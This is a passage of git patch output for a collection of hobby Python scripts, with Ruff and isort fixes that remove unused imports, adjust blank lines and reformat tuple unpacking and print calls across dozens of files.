print(Fore.RED, "Enter Valid URL format", Fore.RESET) From e2cf5e35506404bee3e0871b10f92f677bf89e18 Mon Sep 17 00:00:00 2001 From: lighting9999 Date: Sat, 11 Jul 2026 21:36:20 +0800 Subject: [PATCH 03/13] Fix bug --- Test-Case-Generator/test_case.py | 1 - nodepad/notepad_support.py | 2 +- 2 files changed, 1 insertion(+), 2 deletions(-) diff --git a/Test-Case-Generator/test_case.py b/Test-Case-Generator/test_case.py index c27cd2a289e..df93bdb3e41 100644 --- a/Test-Case-Generator/test_case.py +++ b/Test-Case-Generator/test_case.py @@ -19,7 +19,6 @@ END, HORIZONTAL, LEFT, - Frame, ) mycolor = "#262626" diff --git a/nodepad/notepad_support.py b/nodepad/notepad_support.py index 697b1b6fc39..1be46cf502f 100644 --- a/nodepad/notepad_support.py +++ b/nodepad/notepad_support.py @@ -17,7 +17,7 @@ import sys import sqlite3 -from tkinter import END, Toplevel # explicit imports instead of * +from tkinter import END # explicit imports instead of * # ---------------------------------------------------------------------- # Database configuration From f127368f2f3b7b0c0e6289807e7159e0d3b025e1 Mon Sep 17 00:00:00 2001 From: lighting9999 Date: Sat, 11 Jul 2026 21:44:39 +0800 Subject: [PATCH 04/13] Ruff fix --- .../schedular.py | 1 - Cat/test_cat.py | 1 - Google_Image_Downloader/image_grapper.py | 21 +++++++------------ Image-watermarker/app.py | 1 - Infix_to_Postfix.py | 1 + JARVIS/config.py | 1 - JARVIS/jarvis.py | 1 - JARVIS/safety.py | 1 - Job_scheduling.py | 4 ++-- Merge_linked_list.py | 1 + PDF/demerge_pdfs.py | 2 +- PDF/header_footer.py | 1 - Python_swapping.py | 1 + QR_code_generator/qrcode.py | 1 + Sanke-water-gun game.py | 1 - Sorting Algorithms/Heap sort.py | 1 + Sorting Algorithms/Iterative Merge Sort.py | 1 + Tweet Pre-Processing.py | 2 -- .../Project_Basic_struct/speakListen.py | 1 - .../Project_Basic_struct/textRead.py | 8 +++---- .../Project_Basic_struct/websiteWork.py | 1 - advanced_calculator.py | 1 - check_file.py | 1 - cli_master/cli_master.py | 1 - dice_roller.py | 1 - facebook id hack.py | 6 ++---- get_youtube_view.py | 1 + happy_num.py | 1 + inheritance_YahV1729.py | 1 + .../simple_calc_GUI/simple_calculator_GUI.py | 1 - .../to_sort/JARVIS_python_bot/JARVIS_2.0.py | 1 - nmap_scan.py | 3 +-- password_manager.py | 6 ++---- ping_servers.py | 6 ++---- portscanner.py | 2 +- primelib/primelib.py | 1 - recyclebin.py | 3 +-- serial_scanner.py | 7 ++----- stack.py | 1 + tf_idf_generator.py | 16 ++++++++------ .../utils.py | 2 +- time_delta.py | 1 + wiki/wiki.py | 1 + 43 files changed, 48 insertions(+), 69 deletions(-) diff --git a/Automated Scheduled Call Reminders/schedular.py b/Automated Scheduled Call Reminders/schedular.py index 905adad611f..dac928244dc 100644 --- a/Automated Scheduled Call Reminders/schedular.py +++ b/Automated Scheduled Call Reminders/schedular.py @@ -4,7 +4,6 @@ from caller import search - sched = BlockingScheduler() # Schedule job_function to be called every two hours diff --git a/Cat/test_cat.py b/Cat/test_cat.py index 47e3fe2c370..1a2c6361401 100644 --- a/Cat/test_cat.py +++ b/Cat/test_cat.py @@ -4,7 +4,6 @@ import unittest from pathlib import Path - CAT_SCRIPT = Path(__file__).with_name("cat.py") diff --git a/Google_Image_Downloader/image_grapper.py b/Google_Image_Downloader/image_grapper.py index d42f4a3ac86..8bc8eccc3a1 100644 --- a/Google_Image_Downloader/image_grapper.py +++ b/Google_Image_Downloader/image_grapper.py @@ -14,7 +14,6 @@ from bs4 import BeautifulSoup from create_dir import create_directory - ssl._create_default_https_context = ssl._create_unverified_context GOOGLE_IMAGE = ( @@ -58,7 +57,7 @@ def search_for_image(): results = sew.findAll("div", {"class": "rg_meta"}) for re in results: - (link, Type) = (json.loads(re.text)["ou"], json.loads(re.text)["ity"]) + link, Type = (json.loads(re.text)["ou"], json.loads(re.text)["ity"]) images.append(link) counter = 0 for re in images: @@ -132,29 +131,24 @@ def set_directory(): ############## def quit(): - print( - """ + print(""" -------------------------***Thank You For Using***------------------------- - """ - ) + """) return False run = True -print( - """ +print(""" ***********[First Creating Folder To Save Your Images}*********** - """ -) + """) create_directory("Images") DEFAULT_DIRECTORY = pardir + "\\Images" chdir(DEFAULT_DIRECTORY) count = 0 while run: - print( - """ + print(""" -------------------------WELCOME------------------------- 1. Search for image 2. Download Wallpapers 1080p @@ -162,8 +156,7 @@ def quit(): 4. Set directory 5. Exit -------------------------*******------------------------- - """ - ) + """) choice = input() try: # Via eval() let `str expression` to `function` diff --git a/Image-watermarker/app.py b/Image-watermarker/app.py index 6d0d2bce3c1..83cfe942a5d 100644 --- a/Image-watermarker/app.py +++ b/Image-watermarker/app.py @@ -6,7 +6,6 @@ import pyglet from tkinter import colorchooser - # ------------------- Create Window ----------------- pyglet.font.add_directory("fonts") diff --git a/Infix_to_Postfix.py b/Infix_to_Postfix.py index 597cd35cef3..541bac2c995 100644 --- a/Infix_to_Postfix.py +++ b/Infix_to_Postfix.py @@ -1,5 +1,6 @@ # Python program to convert infix expression to postfix + # Class to convert the expression class Conversion: # Constructor to initialize the class variables diff --git a/JARVIS/config.py b/JARVIS/config.py index fcf4dc41dc5..29f2b5b364a 100644 --- a/JARVIS/config.py +++ b/JARVIS/config.py @@ -1,6 +1,5 @@ from pathlib import Path - BASE_DIR = Path(__file__).resolve().parent.parent OPENAI_API_KEY = "" diff --git a/JARVIS/jarvis.py b/JARVIS/jarvis.py index ff76e3060fc..147803daf56 100644 --- a/JARVIS/jarvis.py +++ b/JARVIS/jarvis.py @@ -2,6 +2,5 @@ from jarvis_assistant.cli import main - if __name__ == "__main__": main(sys.argv) diff --git a/JARVIS/safety.py b/JARVIS/safety.py index eb0fc06cd16..3af295a2654 100644 --- a/JARVIS/safety.py +++ b/JARVIS/safety.py @@ -2,7 +2,6 @@ from .text_utils import normalize_text - DANGEROUS_WORDS = { "install", "uninstall", diff --git a/Job_scheduling.py b/Job_scheduling.py index fedad00654a..b20684f1751 100644 --- a/Job_scheduling.py +++ b/Job_scheduling.py @@ -65,7 +65,7 @@ def feasible(self, profit_jobs: List[int], deadline: List[int]) -> bool: self.index2 = self.jobs.index(self.tmp[j]) j += 1 if deadline[self.index1] > deadline[self.index2]: - (self.tmp[i], self.tmp[j]) = ( + self.tmp[i], self.tmp[j] = ( self.tmp[j], self.tmp[i], ) @@ -104,7 +104,7 @@ def main(): current_job.extend((jobs[i].deadline, jobs[i].profit, jobs[i].job_id)) midresult.append(current_job) midresult.sort(key=lambda k: (k[0], -k[1])) - (deadline, profit, jobs) = map(list, zip(*midresult)) + deadline, profit, jobs = map(list, zip(*midresult)) scheduling_jobs = Scheduling(jobs) scheduled_jobs = scheduling_jobs.schedule(len(jobs), deadline) diff --git a/Merge_linked_list.py b/Merge_linked_list.py index b5b38a7a132..667148ee0e3 100644 --- a/Merge_linked_list.py +++ b/Merge_linked_list.py @@ -1,6 +1,7 @@ # Python3 program merge two sorted linked # in third linked list using recursive. + # Node class class Node: def __init__(self, data): diff --git a/PDF/demerge_pdfs.py b/PDF/demerge_pdfs.py index 547708f73ac..ecaf1ba3c26 100644 --- a/PDF/demerge_pdfs.py +++ b/PDF/demerge_pdfs.py @@ -11,7 +11,7 @@ pdf = PyPDF2.PdfFileReader(merged_pdf) -(u, ctr, x) = tuple([0] * 3) +u, ctr, x = tuple([0] * 3) for i in range(1, pdf.numPages + 1): if u >= pdf.numPages: print("Successfully done!") diff --git a/PDF/header_footer.py b/PDF/header_footer.py index f7b50037796..4b4b439b47b 100644 --- a/PDF/header_footer.py +++ b/PDF/header_footer.py @@ -1,6 +1,5 @@ from fpdf import FPDF - # Author: @NavonilDas diff --git a/Python_swapping.py b/Python_swapping.py index 1822f2f1bc3..a740662acf0 100644 --- a/Python_swapping.py +++ b/Python_swapping.py @@ -1,6 +1,7 @@ # Python3 program to swap first # and last element of a list + # Swap function def swapList(newList): size = len(newList) diff --git a/QR_code_generator/qrcode.py b/QR_code_generator/qrcode.py index 51a48b692b9..4965d331cdb 100755 --- a/QR_code_generator/qrcode.py +++ b/QR_code_generator/qrcode.py @@ -1,4 +1,5 @@ import pyqrcode + # from pyqrcode import QRCode # no need to import same library again and again diff --git a/Sanke-water-gun game.py b/Sanke-water-gun game.py index 5f21277f15c..0791cd24db7 100644 --- a/Sanke-water-gun game.py +++ b/Sanke-water-gun game.py @@ -31,7 +31,6 @@ import time from typing import Dict - CHOICES: Dict[str, str] = {"s": "Snake", "w": "Water", "g": "Gun"} diff --git a/Sorting Algorithms/Heap sort.py b/Sorting Algorithms/Heap sort.py index 6e5a80c3aff..2719cfa8875 100644 --- a/Sorting Algorithms/Heap sort.py +++ b/Sorting Algorithms/Heap sort.py @@ -1,5 +1,6 @@ # Python program for implementation of heap Sort + # To heapify subtree rooted at index i. # n is size of heap def heapify(arr, n, i): diff --git a/Sorting Algorithms/Iterative Merge Sort.py b/Sorting Algorithms/Iterative Merge Sort.py index 734cf1954c0..4ec479dc7d1 100644 --- a/Sorting Algorithms/Iterative Merge Sort.py +++ b/Sorting Algorithms/Iterative Merge Sort.py @@ -1,5 +1,6 @@ # Iterative Merge sort (Bottom Up) + # Iterative mergesort function to # sort arr[0...n-1] def mergeSort(a): diff --git a/Tweet Pre-Processing.py b/Tweet Pre-Processing.py index 458e04c4e41..d29b5a42657 100644 --- a/Tweet Pre-Processing.py +++ b/Tweet Pre-Processing.py @@ -7,7 +7,6 @@ from nltk.corpus import twitter_samples import random - # In[ ]: @@ -58,7 +57,6 @@ from nltk.stem import PorterStemmer from nltk.tokenize import TweetTokenizer - # In[20]: diff --git a/VoiceAssistant/Project_Basic_struct/speakListen.py b/VoiceAssistant/Project_Basic_struct/speakListen.py index a28f67c2218..ba47e8650cb 100644 --- a/VoiceAssistant/Project_Basic_struct/speakListen.py +++ b/VoiceAssistant/Project_Basic_struct/speakListen.py @@ -5,7 +5,6 @@ import datetime from rich.progress import Progress - python = pyttsx3.init("sapi5") # name of the engine is set as Python voices = python.getProperty("voices") # print(voices) diff --git a/VoiceAssistant/Project_Basic_struct/textRead.py b/VoiceAssistant/Project_Basic_struct/textRead.py index bd0d147121b..51afc75f4b2 100644 --- a/VoiceAssistant/Project_Basic_struct/textRead.py +++ b/VoiceAssistant/Project_Basic_struct/textRead.py @@ -54,10 +54,10 @@ def pdf_read(): ) return "None" try: - """ 1. Author - 2. Creator - 3. Producer - 4. Title """ + """1. Author + 2. Creator + 3. Producer + 4. Title""" author = details["author"] # print("Author : ",author) diff --git a/VoiceAssistant/Project_Basic_struct/websiteWork.py b/VoiceAssistant/Project_Basic_struct/websiteWork.py index e00aa89022d..ca681bc6dc8 100644 --- a/VoiceAssistant/Project_Basic_struct/websiteWork.py +++ b/VoiceAssistant/Project_Basic_struct/websiteWork.py @@ -1,7 +1,6 @@ from speakListen import hear from speakListen import speak - """ 1. speakListen.speak(text) 2. speakListen.greet() 3. speakListen.hear() diff --git a/advanced_calculator.py b/advanced_calculator.py index c7021f6a608..315de323508 100644 --- a/advanced_calculator.py +++ b/advanced_calculator.py @@ -15,7 +15,6 @@ from io import BytesIO from pprint import pprint - # Find the best of best extensions for the auto generation of the documentation parts. # For your favourite languages like JavaScript, Python ,etc,... # Should be able to print date and time too. diff --git a/check_file.py b/check_file.py index 65da90b2f17..6498f5877c6 100644 --- a/check_file.py +++ b/check_file.py @@ -13,7 +13,6 @@ import os # Import the Modules import sys # Import the Modules - # Prints usage if not appropriate length of arguments are provided diff --git a/cli_master/cli_master.py b/cli_master/cli_master.py index df2ecf799d1..973a22ae8dc 100644 --- a/cli_master/cli_master.py +++ b/cli_master/cli_master.py @@ -2,7 +2,6 @@ import sys from pprint import pprint - sys.path.append(os.path.realpath(".")) import inquirer diff --git a/dice_roller.py b/dice_roller.py index 28e0ee34261..06c1e9ed92e 100644 --- a/dice_roller.py +++ b/dice_roller.py @@ -1,6 +1,5 @@ import random - dice_art = { 1: ("┌─────────┐", "│ │", "│ ● │", "│ │", "└─────────┘"), 2: ("┌─────────┐", "│ ● │", "│ │", "│ ● │", "└─────────┘"), diff --git a/facebook id hack.py b/facebook id hack.py index b9c1d607311..77986ad0cfc 100644 --- a/facebook id hack.py +++ b/facebook id hack.py @@ -6,13 +6,11 @@ import sys if sys.version_info[0] != 3: - print( - """-------------------------------------- + print("""-------------------------------------- REQUIRED PYTHON 3.x use: python3 fb.py -------------------------------------- - """ - ) + """) sys.exit() post_url = "https://www.facebook.com/login.php" diff --git a/get_youtube_view.py b/get_youtube_view.py index 77f1b1a29b8..118f0f7c37f 100644 --- a/get_youtube_view.py +++ b/get_youtube_view.py @@ -2,6 +2,7 @@ Created on Thu Apr 27 16:28:36 2017 @author: barnabysandeford """ + # Currently works for Safari, but just change to whichever # browser you're using. diff --git a/happy_num.py b/happy_num.py index d2d30dde99a..4e0d395f96a 100644 --- a/happy_num.py +++ b/happy_num.py @@ -1,5 +1,6 @@ # Way2 1: + # isHappyNumber() will determine whether a number is happy or not def isHappyNumber(num): rem = sum = 0 diff --git a/inheritance_YahV1729.py b/inheritance_YahV1729.py index 7b59954fe61..4ef8c724ab2 100644 --- a/inheritance_YahV1729.py +++ b/inheritance_YahV1729.py @@ -1,5 +1,6 @@ # A Python program to demonstrate inheritance + # Base or Super class. Note object in bracket. # (Generally, object is made ancestor of all classes) # In Python 3.x "class Person" is diff --git a/nitkarshchourasia/to_sort/GUI_apps/tkinter_apps/simple_calc_GUI/simple_calculator_GUI.py b/nitkarshchourasia/to_sort/GUI_apps/tkinter_apps/simple_calc_GUI/simple_calculator_GUI.py index 6eddf2d6b85..0001cb98c57 100644 --- a/nitkarshchourasia/to_sort/GUI_apps/tkinter_apps/simple_calc_GUI/simple_calculator_GUI.py +++ b/nitkarshchourasia/to_sort/GUI_apps/tkinter_apps/simple_calc_GUI/simple_calculator_GUI.py @@ -4,7 +4,6 @@ # On CMD, or Terminal. import hupper - # Python program to create a simple GUI # calculator using Tkinter diff --git a/nitkarshchourasia/to_sort/JARVIS_python_bot/JARVIS_2.0.py b/nitkarshchourasia/to_sort/JARVIS_python_bot/JARVIS_2.0.py index ded1c86bcd3..8504d0ecd46 100644 --- a/nitkarshchourasia/to_sort/JARVIS_python_bot/JARVIS_2.0.py +++ b/nitkarshchourasia/to_sort/JARVIS_python_bot/JARVIS_2.0.py @@ -25,7 +25,6 @@ from pynput.mouse import Controller from playsound import * # for sound output - # master # auto install for pyttsx3 and speechRecognition import os diff --git a/nmap_scan.py b/nmap_scan.py index 72f4b078e96..ffcf55a8ce9 100644 --- a/nmap_scan.py +++ b/nmap_scan.py @@ -4,7 +4,6 @@ import nmap # Import the module - # Script Name : nmap_scan.py # Author : Craig Richards # Created : 24th May 2013 @@ -27,7 +26,7 @@ def main(): # Main Program ) # Display options/help if required parser.add_option("-H", dest="tgtHost", type="string", help="specify host") parser.add_option("-p", dest="tgtPort", type="string", help="port") - (options, args) = parser.parse_args() + options, args = parser.parse_args() tgtHost = options.tgtHost tgtPorts = str(options.tgtPort).split(",") diff --git a/password_manager.py b/password_manager.py index cbbbcf87ef2..961f4a31925 100644 --- a/password_manager.py +++ b/password_manager.py @@ -83,13 +83,11 @@ def is_service_present(service_): if connect == ADMIN_PASSWORD: try: - conn.execute( - """CREATE TABLE STORE + conn.execute("""CREATE TABLE STORE (SERVICE TEXT PRIMARY KEY NOT NULL, USERNAME TEXT NOT NULL, PASSWORD TEXT NOT NULL); - """ - ) + """) print("Your safe has been created!\nWhat would you like to store in it today?") except: print("You have a safe, what would you like to do today?") diff --git a/ping_servers.py b/ping_servers.py index 22b2f876cc5..7d5635f0448 100644 --- a/ping_servers.py +++ b/ping_servers.py @@ -17,16 +17,14 @@ if ( "-h" in sys.argv or "--h" in sys.argv or "-help" in sys.argv or "--help" in sys.argv ): # Help Menu if called - print( - """ + print(""" You need to supply the application group for the servers you want to ping, i.e. dms swaps Followed by the site i.e. 155 - bromley""" - ) + bromley""") sys.exit(0) else: if ( diff --git a/portscanner.py b/portscanner.py index 78fcde14a26..841dce42fd0 100644 --- a/portscanner.py +++ b/portscanner.py @@ -58,7 +58,7 @@ def main(): type="string", help="specify target port[s] seperated by a comma", ) - (options, args) = parser.parse_args() + options, args = parser.parse_args() tgtHost = options.tgtHost tgtPorts = str(options.tgtPort).split(",") if (tgtHost == None) | (tgtPorts[0] == None): diff --git a/primelib/primelib.py b/primelib/primelib.py index bd7c708f8be..25feb0676b7 100644 --- a/primelib/primelib.py +++ b/primelib/primelib.py @@ -19,7 +19,6 @@ from functools import lru_cache from sympy import isprime, factorint, primerange, prime as sympy_prime - # ---------- Basic utilities ---------- diff --git a/recyclebin.py b/recyclebin.py index 5bc0bcc0823..fe3e97e3a36 100644 --- a/recyclebin.py +++ b/recyclebin.py @@ -4,7 +4,6 @@ from _winreg import * # Load the Module - # Script Name : recyclebin.py # Author : Craig Richards # Created : 07th June 2013 @@ -23,7 +22,7 @@ def sid2user(sid): # Start of the function to gather the user HKEY_LOCAL_MACHINE, r"SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList" + "\\" + sid, ) - (value, type) = QueryValueEx(key, "ProfileImagePath") + value, type = QueryValueEx(key, "ProfileImagePath") user = value.split("\\")[-1] return user except Exception: diff --git a/serial_scanner.py b/serial_scanner.py index adf5ba1ee39..40d05b74f56 100644 --- a/serial_scanner.py +++ b/serial_scanner.py @@ -2,7 +2,6 @@ import serial - # A serial port-scanner for linux and windows platforms # Author: Julio César Echeverri Marulanda @@ -40,10 +39,8 @@ def ListAvailablePorts(): AvailablePorts.append("/dev/ttyUSB" + str(i)) ser.close() else: - print( - """This method was developed only for linux and windows - the current platform isn't recognised""" - ) + print("""This method was developed only for linux and windows + the current platform isn't recognised""") if len(AvailablePorts) == 0: print("NO port in use") return 0 diff --git a/stack.py b/stack.py index d90048ccf62..c6f4ef523d6 100644 --- a/stack.py +++ b/stack.py @@ -1,5 +1,6 @@ # Python program to reverse a string using stack + # Function to create an empty stack. # It initializes size of stack as 0 def createStack(): diff --git a/tf_idf_generator.py b/tf_idf_generator.py index f31f0137b31..47a24ed5ca5 100644 --- a/tf_idf_generator.py +++ b/tf_idf_generator.py @@ -133,17 +133,21 @@ def find_tf_idf(file_names=None, prev_file_path=None, dump_path=None): TAG, "Total number of unique words in corpus", len(idf), - "( " + paint("++" + str(len(idf) - prev_doc_count), "g") + " )" - if prev_file_path - else "", + ( + "( " + paint("++" + str(len(idf) - prev_doc_count), "g") + " )" + if prev_file_path + else "" + ), ) print( TAG, "Total number of docs in corpus:", len(tf_idf), - "( " + paint("++" + str(len(tf_idf) - prev_corpus_length), "g") + " )" - if prev_file_path - else "", + ( + "( " + paint("++" + str(len(tf_idf) - prev_corpus_length), "g") + " )" + if prev_file_path + else "" + ), ) # dump if a dir-path is given diff --git a/thired-party-haarcascade-mustache-on-face/utils.py b/thired-party-haarcascade-mustache-on-face/utils.py index 832c2c3ff8e..7dd89cc819b 100644 --- a/thired-party-haarcascade-mustache-on-face/utils.py +++ b/thired-party-haarcascade-mustache-on-face/utils.py @@ -8,7 +8,7 @@ def image_resize(image, width=None, height=None, inter=cv2.INTER_AREA): # initialize the dimensions of the image to be resized and # grab the image size dim = None - (h, w) = image.shape[:2] + h, w = image.shape[:2] # if both the width and height are None, then return the # original image if width is None and height is None: diff --git a/time_delta.py b/time_delta.py index dc9d479303d..0f4a712a7ee 100644 --- a/time_delta.py +++ b/time_delta.py @@ -4,6 +4,7 @@ This module provides functionality to calculate the absolute difference in seconds between two timestamps in the format: Day dd Mon yyyy hh:mm:ss +xxxx """ + # ----------------------------------------------------------------------------- # You are givent two timestams in the format: Day dd Mon yyyy hh:mm:ss +xxxx # where +xxxx represents the timezone. diff --git a/wiki/wiki.py b/wiki/wiki.py index dd2de43df4b..d4c3314b95a 100644 --- a/wiki/wiki.py +++ b/wiki/wiki.py @@ -15,6 +15,7 @@ WORD, END, ) + # import PIL as ImageTK From 6113e01d88893fbcbd9b0f491fa96f22ff3b448b Mon Sep 17 00:00:00 2001 From: lighting9999 Date: Sat, 11 Jul 2026 21:57:01 +0800 Subject: [PATCH 05/13] Isort fix --- ...on 1 (elegible for remedial, top marks).py | 3 +- 1 File handle/File handle binary/update2.py | 3 +- 1 File handle/File handle text/question 5.py | 3 +- 8_puzzle.py | 2 +- Anonymous_TextApp.py | 1 + Audio_Summarizer.py | 5 ++-- AutoComplete_App/backend.py | 2 +- AutoComplete_App/frontend.py | 1 + Automated Scheduled Call Reminders/caller.py | 3 +- .../schedular.py | 1 - Battery_notifier.py | 2 +- BlackJack_game/blackjack.py | 4 +-- BrowserHistory/tests/test_browser_history.py | 4 +-- Calendar (GUI).py | 2 +- Checker_game_by_dz/first.py | 4 +-- Checker_game_by_dz/modules/checker.py | 3 +- Checker_game_by_dz/modules/checker_board.py | 3 +- Checker_game_by_dz/modules/pieces.py | 3 +- Chrome Dino Automater.py | 6 ++-- Classification_human_or_horse.py | 3 +- CliYoutubeDownloader.py | 3 +- CliYoutubeDownloader/CliYoutubeDownloader.py | 1 + Collatz Sequence/Collaze-Visualize.py | 1 + Colors/multicoloredline.py | 7 +++-- Colors/pixel_sort.py | 12 ++++---- Cricket_score.py | 3 +- Day_of_week.py | 2 +- Downloaded Files Organizer/obs.py | 7 +++-- Droplistmenu/GamesCalender.py | 1 + Emoji Dictionary/QT_GUI.py | 7 +++-- Emoji Dictionary/emoji_dictionary.py | 5 ++-- Extract-Table-from-pdf-txt-docx/main.py | 3 +- .../extract_thumbnail_from_video.py | 3 +- .../mask_detection.py | 4 +-- .../Background.py | 2 +- .../Flappy Bird.py | 3 +- .../Settings.py | 3 +- Google_Image_Downloader/create_dir.py | 11 ++----- Google_Image_Downloader/image_grapper.py | 10 +++---- HTML_to_PDF/main.py | 3 +- .../hand_motion_recognizer.py | 2 +- HangMan Game.py | 1 + Hangman.py | 3 +- Hotel-Management.py | 2 +- Image-watermarker/app.py | 7 +++-- Image-watermarker/watermark.py | 4 +-- ImageDownloader/img_downloader.py | 1 + .../tests/test_hangman/test_main.py | 7 +---- JARVIS/JARVIS_2.0.py | 22 +++++++------- JARVIS/ai.py | 3 +- JARVIS/speech.py | 1 - ML/examples/neural_architecture_search.py | 9 +++--- ML/examples/train_cifar10.py | 6 ++-- ML/examples/train_custom.py | 5 ++-- ML/src/python/neuralforge/__init__.py | 8 ++--- ML/src/python/neuralforge/cli/__init__.py | 5 +--- ML/src/python/neuralforge/cli/gui.py | 28 +++++------------ ML/src/python/neuralforge/cli/nas.py | 9 +++--- ML/src/python/neuralforge/cli/test.py | 9 +++--- ML/src/python/neuralforge/cli/train.py | 13 ++++---- ML/src/python/neuralforge/config.py | 2 +- ML/src/python/neuralforge/data/__init__.py | 2 +- .../python/neuralforge/data/augmentation.py | 3 +- ML/src/python/neuralforge/data/dataset.py | 11 +++---- ML/src/python/neuralforge/data/datasets.py | 5 ++-- ML/src/python/neuralforge/data/transforms.py | 5 ++-- ML/src/python/neuralforge/models/__init__.py | 2 +- .../python/neuralforge/models/efficientnet.py | 1 + ML/src/python/neuralforge/models/resnet.py | 2 +- ML/src/python/neuralforge/nas/__init__.py | 4 +-- ML/src/python/neuralforge/nas/evaluator.py | 6 ++-- ML/src/python/neuralforge/nas/evolution.py | 6 ++-- ML/src/python/neuralforge/nas/search_space.py | 5 ++-- ML/src/python/neuralforge/nn/__init__.py | 6 ++-- ML/src/python/neuralforge/nn/modules.py | 3 +- ML/src/python/neuralforge/optim/optimizers.py | 3 +- ML/src/python/neuralforge/optim/schedulers.py | 3 +- ML/src/python/neuralforge/trainer.py | 12 ++++---- ML/src/python/neuralforge/utils/logger.py | 2 +- ML/src/python/neuralforge/utils/metrics.py | 3 +- .../python/neuralforge/utils/visualization.py | 5 ++-- ML/tests/gui_test.py | 30 ++++++------------- ML/tests/quick_test.py | 2 +- ML/tests/test_model.py | 14 ++++----- ML/train.py | 13 ++++---- Memory_game.py | 3 +- Mp3_media_player.py | 2 +- News_App/Newsapp.py | 5 ++-- PDF/images.py | 2 +- PDFtoAudiobook.py | 2 +- PORT SCANNER.PY | 2 +- Password Generator/pass_gen.py | 2 +- Password Manager Using Tkinter/main.py | 7 +++-- PingPong/main.py | 2 +- PongPong_Game/pong/ball.py | 3 +- PongPong_Game/pong/load.py | 3 +- PongPong_Game/pong/paddle.py | 3 +- Python Programs/Python Programs.py | 3 +- Python Voice Generator.py | 3 +- QuestionAnswerVirtualAssistant/backend.py | 3 +- QuestionAnswerVirtualAssistant/frontend.py | 1 + .../main.py | 2 +- .../ui.py | 3 +- ReadFromCSV.py | 3 +- Recursion Visulaizer/recursionVisualizer.py | 2 +- Search_Engine/backend.py | 2 +- Search_Engine/frontend.py | 1 + Shortest Distance between Two Lines.py | 1 + Snake Game Using Turtle/food.py | 3 +- Snake Game Using Turtle/main.py | 4 ++- Snake Game Using Turtle/scoreboard.py | 3 +- Snake Game Using Turtle/snake.py | 1 + Snake Game Using Turtle/wall.py | 3 +- Sorting Algorithims/heapsort_linkedlist.py | 3 +- Sorting Algorithims/mergesort_linkedlist.py | 3 +- Sorting Algorithims/quicksort_linkedlist.py | 3 +- Street_Fighter/src/main.py | 9 +++--- TTS.py | 2 +- Test-Case-Generator/test_case.py | 17 ++--------- ThirdAI/Terms and Conditions/ThirdAI.py | 3 +- ThirdAI/Terms and Conditions/TkinterUI.py | 4 +-- Tic-Tac-Toe Games/tic-tac-toe3.py | 3 +- Tic-Tac-Toe Games/tic-tac-toe4.py | 3 +- Tic-Tac-Toe Games/tic-tac-toe6.py | 2 +- Todo_GUi.py | 2 +- Translator/translator.py | 1 + Tweet Pre-Processing.py | 3 +- UI-Apps/clock.py | 1 - Voice Command Calculator.py | 1 + .../VoiceAssistant_main.py | 9 +++--- .../Project_Basic_struct/dictator.py | 3 +- .../Project_Basic_struct/speakListen.py | 7 +++-- .../Project_Basic_struct/textRead.py | 8 ++--- .../Project_Basic_struct/websiteWork.py | 6 ++-- VoiceRepeater/__main__.py | 6 ++-- Weather Scrapper/weather.py | 10 +++---- WeatherGUI.py | 1 + Web Socket.py | 1 + Web_Scraper.py | 3 +- Webbrowser/tk-browser.py | 3 +- Wikipdedia/flask_rendering.py | 2 +- Wikipdedia/practice_beautifulsoap.py | 2 +- WikipediaModule.py | 3 +- Youtube Downloader With GUI/main.py | 5 ++-- advanced_calculator.py | 5 ++-- agecalculator.py | 3 +- automail.py | 3 +- bank_managment_system/QTFrontend.py | 3 +- bank_managment_system/backend.py | 2 +- binary_search_trees/delete_a_node_in_bst.py | 1 + binary_search_trees/inorder_traversal.py | 1 + binary_search_trees/insert_in_bst.py | 1 + binary_search_trees/main.py | 7 +++-- binary_search_trees/mirror_a_bst.py | 1 + binary_search_trees/print_in_range.py | 1 + binary_search_trees/root_to_leaf_paths.py | 3 +- binary_search_trees/search_in_bst.py | 1 + binary_search_trees/validate_bst.py | 1 + binod.py | 2 +- blackJackGUI.py | 2 ++ bookstore_manangement_system.py | 1 - calculator-gui.py | 3 +- calculator.py | 3 +- check_for_sqlite_files.py | 2 +- colorma_as_color.py | 2 +- cricket_news.py | 4 +-- currency converter/main.py | 9 +++--- daily_horoscope.py | 2 +- days_from_date.py | 2 +- depreciated_programs/corona_cases.py | 1 + diction.py | 3 +- digital_clock.py | 8 ++--- facebook id hack.py | 3 +- facebook-autologin-bot.py | 3 +- fastapi.py | 6 ++-- file_ext_changer.py | 4 +-- .../Update a binary file2.py | 2 +- ...on 1 (elegible for remedial, top marks).py | 3 +- file_handle/File handle binary/update2.py | 3 +- file_handle/File handle text/question 5.py | 3 +- floodfill/floodfill.py | 2 +- friday.py | 3 +- game_of_life/game_o_life.py | 1 - get_youtube_view.py | 1 - googlemaps.py | 2 +- googleweb.py | 4 +-- gstin_scraper.py | 5 ++-- image2pdf/image2pdf.py | 3 +- image_compressor.py | 1 + invisible_clock.py | 5 ++-- loader.py | 2 +- magic_8_ball.py | 3 +- mapit.py | 1 + meme_maker.py | 2 +- memorygame.py | 1 + mobilePhoneSpecsScrapper.py | 9 +++--- nasa_apod_with_requests/run.py | 5 ++-- news_articles__scraper.py | 1 - news_oversimplifier.py | 3 +- .../to_sort/JARVIS_python_bot/JARVIS_2.0.py | 19 ++++++------ .../django_projects/ToDo_webapp/todo/admin.py | 1 + .../django_projects/ToDo_webapp/todo/forms.py | 1 + .../todo/migrations/0001_initial.py | 2 +- .../django_projects/ToDo_webapp/todo/views.py | 7 +++-- nodepad/notepad.py | 3 +- nodepad/notepad_support.py | 2 +- other_pepole/get_ip_gui | 4 +-- password guessing.py | 1 + password_manager.py | 2 +- .../passwordGenerator.py | 1 + photo_timestamp_renamer.py | 7 +++-- polygon.py | 3 +- primelib/primelib.py | 8 +++-- python Space Invader game.py | 5 ++-- qrcode.py | 3 +- quote.py | 3 +- random_file_move.py | 2 +- recyclebin.py | 2 +- russian_roulette.py | 2 +- send_message_automation/message_automation.py | 3 +- sendemail.py | 3 +- sensors_information.py | 3 +- simulate_memory_cpu.py | 2 +- slack_message.py | 5 ++-- smart_file_organizer.py | 2 +- snake.py | 4 +-- snake_case_renamer_depth_one.py | 2 +- sqlite_check.py | 1 + stone_paper_scissor/main.py | 4 +-- text-to-audio/main.py | 3 +- text-to-audio/text-file-to-audio.py | 3 +- text_to_audio/main.py | 3 +- .../mustache-add-on-face.py | 1 - tweeter.py | 2 ++ twitter_post_scraper.py | 3 +- ultimate-phone-book/contacts.py | 2 +- voice.py | 5 ++-- whatsapp-monitor.py | 3 +- wifi hack by brutefore.py | 5 ++-- wiki/wiki.py | 17 +++-------- wiki_random.py | 3 +- wikipedia.py | 3 +- write_excel_file.py | 2 +- 